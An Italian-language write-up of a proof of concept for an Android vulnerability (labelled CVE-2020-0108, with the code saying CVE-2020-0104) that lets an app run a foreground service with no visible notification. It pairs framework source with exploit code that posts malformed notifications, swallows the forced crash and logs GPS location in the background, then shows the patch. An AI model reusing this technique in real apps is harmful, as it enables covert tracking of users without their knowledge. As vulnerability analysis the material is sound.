
PoC di CVE-2020-0108
onNotificationError di NotificationManagerService, che non gestisce correttamente le eccezioni nella visualizzazione delle notifiche.// frameworks/base/services/core/java/com/android/server/notification/NotificationManagerService.java
@Override
public void onNotificationError(int callingUid, int callingPid, String pkg, String tag,
int id, int uid, int initialPid, String message, int userId) {
cancelNotification(callingUid, callingPid, pkg, tag, id, 0, 0, false, userId,
REASON_ERROR, null);
}
onNotificationError. Poiché il metodo onNotificationError si limita a chiamare cancelNotification per annullare la notifica, senza terminare il servizio o l'intera applicazione, il servizio in primo piano continua a funzionare senza mostrare alcuna notifica.postNotification di ServiceRecord, che non gestisce correttamente le eccezioni nella visualizzazione delle notifiche, ma le lancia all'applicazione utente.// frameworks/base/services/core/java/com/android/server/am/ServiceRecord.java
public void postNotification() {
final int appUid = appInfo.uid;
final int appPid = app.pid;
if (foregroundId != 0 && foregroundNoti != null) {
//...
ams.mHandler.post(new Runnable() {
public void run() {
//...
try {
//...
} catch (RuntimeException e) {
Slog.w(TAG, "Error showing notification for service", e);
// If it gave us a garbage notification, it doesn't
// get to be foreground.
ams.setServiceForeground(instanceName, ServiceRecord.this,
0, null, 0, 0);
ams.crashApplication(appUid, appPid, localPackageName, -1,
"Bad notification for startForeground: " + e);
}
}
});
}
}
postNotification di ServiceRecord, viene lanciata un'eccezione. Durante la gestione dell'eccezione, si chiama il metodo crashApplication di AMS per lanciare un'eccezione sul thread principale all'applicazione, ma se l'applicazione cattura l'eccezione sul thread principale, l'applicazione non va in crash e il servizio in primo piano continua a funzionare senza mostrare la notifica.NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
NotificationChannel notificationChannel = new NotificationChannel("c01", "CVE-2020-0104", NotificationManager.IMPORTANCE_DEFAULT);
notificationChannel.setDescription("Testing CVE-2020-0104");
notificationChannel.enableLights(true);
notificationChannel.setLightColor(Color.RED);
notificationChannel.enableVibration(true);
notificationChannel.setVibrationPattern(new long[]{100, 200, 300, 400, 500, 400, 300, 200, 100});
notificationManager.createNotificationChannel(notificationChannel);
// Create a RemoteViews object with a invalid layout ID
RemoteViews remoteViews = new RemoteViews(getPackageName(), -1 /* A Invalid Layout ID */);
Notification notification = new NotificationCompat.Builder(this, "c01")
.setContentTitle("Testing CVE-2020-0104")
.setContentText("If you see this means you device is not vulnerable")
.setCustomBigContentView(remoteViews)
.setWhen(System.currentTimeMillis())
.setSmallIcon(R.drawable.ic_launcher_foreground)
.setLargeIcon(BitmapFactory.decodeResource(getResources(), R.drawable.ic_launcher_foreground))
.build();
startForeground(1, notification);
onNotificationError.// Handle the exception in main loop
new Handler(Looper.getMainLooper()).post(new Runnable() {
@Override
public void run() {
while (true) {
try {
Looper.loop();
} catch (Throwable e) {
e.printStackTrace();
}
}
}
});
// Create a Notification object with a invalid channel ID
Notification notification = new NotificationCompat.Builder(this, "InvalidInvalidInvalid" /* A Invalid Channel ID */)
.setContentTitle("Testing CVE-2020-0104")
.setContentText("If you see this means you device is not vulnerable")
.setWhen(System.currentTimeMillis())
.setSmallIcon(R.drawable.ic_launcher_foreground)
.setLargeIcon(BitmapFactory.decodeResource(getResources(), R.drawable.ic_launcher_foreground))
.build();
startForeground(2, notification);
postNotification. Successivamente, catturiamo l'eccezione sul thread principale, quindi l'applicazione non va in crash.public void refreshLocation() {
LocationManager locationManager = (LocationManager) getSystemService(Context.LOCATION_SERVICE);
String provider = LocationManager.GPS_PROVIDER;
if (!checkPermission(Manifest.permission.ACCESS_FINE_LOCATION)) {
return;
}
locationManager.requestLocationUpdates(provider, 2000, 10, new LocationListener() {
@Override
public void onLocationChanged(Location location) {
double lat = location.getLatitude();
double lng = location.getLongitude();
Log.i(TAG, "Location Update: Latitude="+lat+",Longitude="+lng);
}
@Override
public void onStatusChanged(String provider, int status, Bundle extras) {
}
@Override
public void onProviderEnabled(String provider) {
}
@Override
public void onProviderDisabled(String provider) {
}
});
}
onNotificationError e anche nella gestione delle eccezioni del metodo postNotification, dove viene forzato il crash dell'applicazione. Nel metodo crashApplication, con la modalità forzata force=true, AMS forza la chiusura dell'applicazione entro 5 secondi dal lancio dell'eccezione, anche se l'applicazione ha catturato l'eccezione.onNotificationError, viene chiamato crashApplication per far crashare l'applicazione, con force=true.// frameworks/base/services/core/java/com/android/server/notification/NotificationManagerService.java
@Override
public void onNotificationError(int callingUid, int callingPid, String pkg, String tag,
int id, int uid, int initialPid, String message, int userId) {
final boolean fgService;
synchronized (mNotificationLock) {
NotificationRecord r = findNotificationLocked(pkg, tag, id, userId);
fgService = r != null && (r.getNotification().flags & FLAG_FOREGROUND_SERVICE) != 0;
}
cancelNotification(callingUid, callingPid, pkg, tag, id, 0, 0, false, userId,
REASON_ERROR, null);
if (fgService) {
// Still crash for foreground services, preventing the not-crash behaviour abused
// by apps to give us a garbage notification and silently start a fg service.
Binder.withCleanCallingIdentity(
() -> mAm.crashApplication(uid, initialPid, pkg, -1,
"Bad notification(tag=" + tag + ", id=" + id + ") posted from package "
+ pkg + ", crashing app(uid=" + uid + ", pid=" + initialPid + "): "
+ message, true /* force */));
}
}
postNotification, viene chiamato killMisbehavingService per terminare il servizio con comportamento anomalo.// frameworks/base/services/core/java/com/android/server/am/ServiceRecord.java
} catch (RuntimeException e) {
Slog.w(TAG, "Error showing notification for service", e);
// If it gave us a garbage notification, it doesn't
// get to be foreground.
ams.mServices.killMisbehavingService(record,
appUid, appPid, localPackageName);
}
killMisbehavingService, oltre ad acquisire il lock, chiama anche crashApplication.// frameworks/base/services/core/java/com/android/server/am/ActiveServices.java
void killMisbehavingService(ServiceRecord r,
int appUid, int appPid, String localPackageName) {
synchronized (mAm) {
stopServiceLocked(r);
mAm.crashApplication(appUid, appPid, localPackageName, -1,
"Bad notification for startForeground", true /*force*/);
}
}
force=true è la seguente: entro 5 secondi dal lancio dell'eccezione, l'applicazione viene forzata a essere terminata.// frameworks/base/services/core/java/com/android/server/am/AppErrors.java
if (force) {
// If the app is responsive, the scheduled crash will happen as expected
// and then the delayed summary kill will be a no-op.
final ProcessRecord p = proc;
mService.mHandler.postDelayed(
() -> killAppImmediateLocked(p, "forced", "killed for invalid state"),
5000L);
}